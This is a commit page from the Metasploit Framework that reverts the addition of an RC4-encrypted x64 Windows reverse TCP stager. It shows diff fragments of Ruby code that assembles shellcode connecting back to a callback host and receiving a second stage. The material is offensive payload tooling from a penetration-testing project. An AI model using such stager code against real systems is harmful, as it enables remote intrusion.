Revert "Land #9565, Reverse TCP x64 RC4 via max3raza's rc4_x64 asm"

This reverts commit fcc5793, reversing changes made to 95cd149.
rapid7 · Mar 2, 2018 · 7964868 · 7964868
1 parent fcc5793
commit 7964868
Show file tree

Hide file tree

Showing 4 changed files with 2 additions and 331 deletions.
diff --git a/lib/msf/core/payload/windows/x64/rc4.rb b/lib/msf/core/payload/windows/x64/rc4.rb
diff --git a/lib/msf/core/payload/windows/x64/reverse_tcp.rb b/lib/msf/core/payload/windows/x64/reverse_tcp.rb
@@ -69,7 +69,6 @@ def generate_reverse_tcp(opts={})
       start:
         pop rbp               ; block API pointer
       #{asm_reverse_tcp(opts)}
-      #{asm_block_recv(opts)}
     ^
     Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
   end
@@ -106,6 +105,7 @@ def required_space
   #
   def asm_reverse_tcp(opts={})
 
+    reliable     = opts[:reliable]
     retry_count  = [opts[:retry_count].to_i, 1].max
     encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first
     encoded_host = Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
@@ -191,15 +191,7 @@ def asm_reverse_tcp(opts={})
     ^
     asm << asm_send_uuid if include_send_uuid
 
-    asm
-
-  end
-
-  def asm_block_recv(opts={})
-
-    reliable     = opts[:reliable]
-
-    asm = %Q^
+    asm << %Q^
       recv:
       ; Receive the size of the incoming second stage...
         sub rsp, 16             ; alloc some space (16 bytes) on stack for to hold the

diff --git a/lib/msf/core/payload/windows/x64/reverse_tcp_rc4.rb b/lib/msf/core/payload/windows/x64/reverse_tcp_rc4.rb
diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb b/modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb